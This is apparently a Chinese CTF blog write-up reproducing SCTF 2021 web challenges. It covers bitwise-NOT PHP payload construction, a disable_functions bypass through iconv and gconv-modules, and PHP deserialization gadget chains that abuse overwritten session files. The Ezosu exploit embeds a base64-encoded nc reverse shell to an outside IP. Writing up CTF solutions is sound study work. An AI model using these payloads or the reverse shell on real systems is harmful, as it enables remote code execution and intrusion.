当时那段时间一直在复习就没怎么打比赛,现在放假终于是有时间来复现一些题目,学新的东西了。
Rceme
参考的一些文章
http://naman.club/index.php/2022/01/11/sctf2021-web/
https://eastjun.top/2021/10/20/bypass_disable_function/
https://mochazz.github.io/2019/01/12/create_function%E5%87%BD%E6%95%B0%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0RCE/
源码直接给出来了,看到eval
应该要执行命令,但有过滤。preg_match
先是过滤了一堆可用得字符,异或,字母,数字等都被过滤了。学习了下wp发现是可以利用取反来构造需要得函数,这是第一步。但进入界面还能看到disable_functions
基本上全都被禁用了,所以后面还需要绕过disable_functions
才行。
首先看第一个过滤preg_match
,基本过滤了字符数字,还有一些符号等。
| preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)
|
第二个正则是一个递归正则(递归正则可以看看https://www.cnblogs.com/f-ck-need-u/p/11344531.html),这里的递归正则有两种匹配方式,
第一种类似于这种code=[~%00]([~%00]());
是在递归匹配(?R)?
中的?选择进行了1次,第二种类似于code=[~%00]();
是在递归匹配(?R)?
中的?选择进行了0次。当然这里也替换掉了除\s ()
外的东西。
| ';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)
|
不管是异或,取反,或,就是利用一些非字符数字单双引号等这些有用可见的其他字符,通过数学操作能够转换成另一种等价的表现形式,但是这种形式的值对应一些有用的字符。例如说异或
| ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
|
取反就更简单,例如
学习完一些东西,就开始做题。这里用取反构造一条链子create_function(...unserialize(end(getallheaders)))
其中...
是利用可变长度参数来传参.
写个脚本构造payload,!%FF
就是0,~%CF
也可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from urllib.parse import urlencode, quote import requests
def NOT_chain(chain): j = "" for i in chain: j += "%" + str(hex(255 - ord(i)))[2:] return j def make_chain(chains): result = "" for chain in chains: if "%d1%d1%d1" in NOT_chain(chain): result += "...[~" + NOT_chain(chain).replace("%d1%d1%d1","") + "][!%FF](" else: result += "[~" + NOT_chain(chain) + "][!%FF](" result = result +"))));" return result if __name__ == '__main__': input = "call_user_func(...unserialize(end(getallheaders)))" chains = input.strip(')').split('(')
|
抓包发送请求
第二部分就是利用原生类写文件,iconv
方bypass式绕过函数限制,原理网上也很多
可以利用FilesystemIterator
类读文件,根目录不可读
接着开始绕过disable_function,利用SplFileObject
写文件,一些post内容
| cmd=[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));&11=$file = new SplFileObject("/tmp/gconv-modules", 'w+');$file->fwrite("module EXP// INTERNAL ../../../../../../../../tmp/exp 2 module INTERNAL EXP// ../../../../../../../../tmp/exp 2");
写入so文件时也就是用伪协议传base64解码太长了不贴了。
#触发 cmd=[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));&11=putenv("GCONV_PATH=/tmp/");$c=new SplFileObject('php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==');show_source("/tmp/flag");
|
关于一些绕过还有很多方式
https://www.hetianlab.com/specialized/20201124173456
https://blog.csdn.net/mochu7777777/article/details/104631142
Upload_it
非预期解
审计一下index.php
可以发现 $upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
进行了字符串拼接,并且这里的$_SESSION["upload_path"]
是可控的,所以联想到触发toString()
函数,全局搜索一下发现可利用点
写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php namespace Symfony\Component\String { class LazyString { private $value; public function __construct() { include "../vendor/opis/closure/autoload.php"; $x = function () { eval($_POST['cmd']); }; $x = \Opis\Closure\serialize($x); $this->value = unserialize($x); } } } namespace { $a = new \Symfony\Component\String\LazyString(); $s = session_start(); echo session_id(); $_SESSION['upload_path'] = $a; }
?>
|
上传本地运行后获取的session文件,覆盖服务器上的session文件
再次访问时,会读取我们覆盖的session文件,并且触发发序列化,因为session文件序列化写进去,一定会反序列化读出来的。然后即可执行命令
天枢的非预期
这个非预期真是太细了,Sndav
👴真是太牛了。拿这个exp动调了一下,开始没看懂什么意思。
| <?php include_once "../vendor/autoload.php"; use Opis\Closure\SerializableClosure; session_start(); $closure = function(){ echo 123123; };
$closure = new SerializableClosure($closure); $_SESSION['a'] = $closure;
|
可以看到走到$_SESSION['a'] = $closure;
时调用serialize
函数,其中有一个'function'
键
我们需要将源码改为
然后该下exp再动调
| <?php include_once "../vendor/autoload.php"; use Opis\Closure\SerializableClosure; session_start(); $closure = function(){ echo 123123; };
$closure = new SerializableClosure($closure); $x = Opis\Closure\serialize($closure); unserialize($x);
|
当走到 $data = \serialize($data);
这一步时,就是返回上面说的$ret
变量
这时可以发现它序列化后的数据中间有我们的执行函数了。
在unserialize
中,走到这一步就会执行命令
后面的做法也是覆盖原session文件
预期解
预期解感觉…怎么说呢不太能理解,不知道这个序列化的地方在哪,需要传什么上去。要是覆盖session的话,那也是触发反序列化,还是说后面还会再学序列化。exp也没看懂最后b64一下是在干啥。
Upload_it2
和上面差不多。这里用[$san, 'backdoor']()
调用了函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
namespace Symfony\Component\String { class LazyString { private $value; public function __construct($x) { $this->value = $x; } } } namespace { // use Symfony\Component\String; class sandbox { public $evil; public function __construct($x) { $this->evil = $x; } } $san = new sandbox('/flag'); $a = new Symfony\Component\String\LazyString([$san, 'backdoor']); session_start(); echo session_id(); $_SESSION['upload_path'] = $a; }
|
Ezosu
题目给了附件是能够在本地搭环境的,将docker里面文件打包出来审计。关键的函数,简单的以|
为分割键名和键值,所以这里我们在键名里面插入恶意反序列数据,就能造成逃逸。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| class PhpSession implements IFormat {
public function encode($data): string { $result = ''; foreach ($data as $k => $v) { $result .= $k . '|' . serialize($v); }
return $result; }
public function decode(string $data) { $result = []; $offset = 0; $length = \strlen($data); while ($offset < $length) { if (!strstr(substr($data, $offset), '|')) { return []; } $pos = strpos($data, '|', $offset); $num = $pos - $offset; $varname = substr($data, $offset, $num); $offset += $num + 1; $dataItem = unserialize(substr($data, $offset)); $result[$varname] = $dataItem; $offset += \strlen(serialize($dataItem)); }
return $result; } }
|
例如我们插入的数据,从结果上看明显反序列化出来了我们的[]
接下来就是找链子,最开始我想的是这不就直接LazyString
中触发toString
,参数赋值一个闭包函数。后来一直没通,发现我是憨批,它这里不和上面文件上传那个一样,因为上面的实现了对于闭包函数的序列化,这里无法对闭包函数进行序列化,所以无法将参数初始化。最终exp(这里还有个坑就是它是sh命令的架构,不能用bash反弹shell):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php namespace PhpOption{ abstract class Option{
} final class LazyOption extends Option{ private $callback; private $arguments; private $option = null; public function __construct() { $this->arguments = array("echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMzkuMTA3LjIzOS4zMCAyMzMzID4vdG1wL2YK | base64 -d|sh"); $this->callback = "system"; } } } namespace Symfony\Component\String { use PhpOption\LazyOption; class LazyString { public $value; public function __construct() { $this->value = array(new LazyOption(),"get"); } } } namespace { $a = new Symfony\Component\String\LazyString(); $p = serialize($a); $payload = array("e"=>"b","c|".$p."a"=>"a"); echo json_encode($payload); }
?>
|